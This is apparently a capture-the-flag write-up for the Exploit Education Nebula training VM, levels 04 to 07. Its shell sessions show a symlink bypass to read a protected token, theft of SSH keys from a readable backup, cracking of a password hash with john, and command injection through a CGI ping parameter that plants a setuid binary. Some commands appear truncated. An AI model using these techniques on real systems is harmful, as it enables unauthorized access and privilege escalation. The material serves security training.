Sep 06, 2020

Exploit Education - Nebula Part 2

Level 04


Source code shows, that verification happens only for token name. Let's create symbolic link to file and try to read its content. After reading it, let's use it as password.


level04@nebula:/home/flag04$ ls -la
total 13
drwxr-x--- 2 flag04 level04   93 2011-11-20 21:52 .
drwxr-xr-x 1 root   root     160 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04   675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ ln -s ~flag04/token /tmp/not
level04@nebula:/home/flag04$ ./flag04 /tmp/not
level04@nebula:~$ su flag04
Password:  # use token here
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level 05


We're looking for weak permissions. It seems that .backup directory contains copy of ssh keys, which can be used.


level05@nebula:~$ cd ~flag05
level05@nebula:/home/flag05$ ls -ahtl
total 9.0K
drwxr-x--- 1 flag05 level05   80 2020-09-05 19:18 .
-rw------- 1 flag05 flag05    20 2020-09-05 19:18 .bash_history
drwx------ 2 flag05 flag05    60 2020-09-05 19:17 .cache
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
level05@nebula:/home/flag05$ cd
level05@nebula:~$ ls ~flag05/.backup
level05@nebula:~$ cp ~flag05/.backup/backup-19072011.tgz .
level05@nebula:~$ tar -xvf backup-19072011.tgz
level05@nebula:~$ ssh flag05@localhost
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level 06


The flag06 came from a legacy unix system. It probably means, that password could be stored inside /etc/passwd. After retrieving password, I had to search for an answer, how to crack it. john helped with that.


level06@nebula:~$ grep flag06 /etc/passwd
➜  ~ john --show pass

1 password hash cracked, 0 left
level06@nebula:~$ su flag06
Password:  # use found password
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level 07


User flag07 is running CGI server, which is pinging provided host. Host is an parameter to URL. It means, we should be able to modify URL this way, to retrieve correct information.


I struggled with that for a while.

level07@nebula:/home/flag07$ wget localhost:7007/index.cgi?Host=;getflag
--2020-09-05 20:31:46--  http://localhost:7007/index.cgi?Host=
Resolving localhost...
Connecting to localhost||:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
index.cgi?Host=: Permission denied

Cannot write to `index.cgi?Host=' (Permission denied).
getflag is executing on a non-flag account, this doesn't count

I wasn't sure, why it is not revealing flag. Finally, I searched through an internet for similar solution and found what's my mistake. I was using ; instead of %3b which is encoded semicolon. Instead of sending my payload to website, I was sending Host=localhost and later, I was running separate command, under my username.

Rookie error.

Alternative solution

After retrieving getflag I thought about another attempt to exploit a server. For this purpose, I used exploit.c prepared for another level, and I sent this query:

level07@nebula:/tmp$ cat > << EOF
cp /tmp/exploit /home/flag07/exploit
chmod u+s /home/flag07/exploit
level07@nebula:/tmp$ wget localhost:7007/index.cgi?Host=%3b/tmp/
level07@nebula:/tmp$ cd ~flag07
level07@nebula:/home/flag07$ ls
exploit  index.cgi  thttpd.conf
level07@nebula:/home/flag07$ ./exploit
flag07@nebula:/home/flag07$ getflag
You have successfully executed getflag on a target account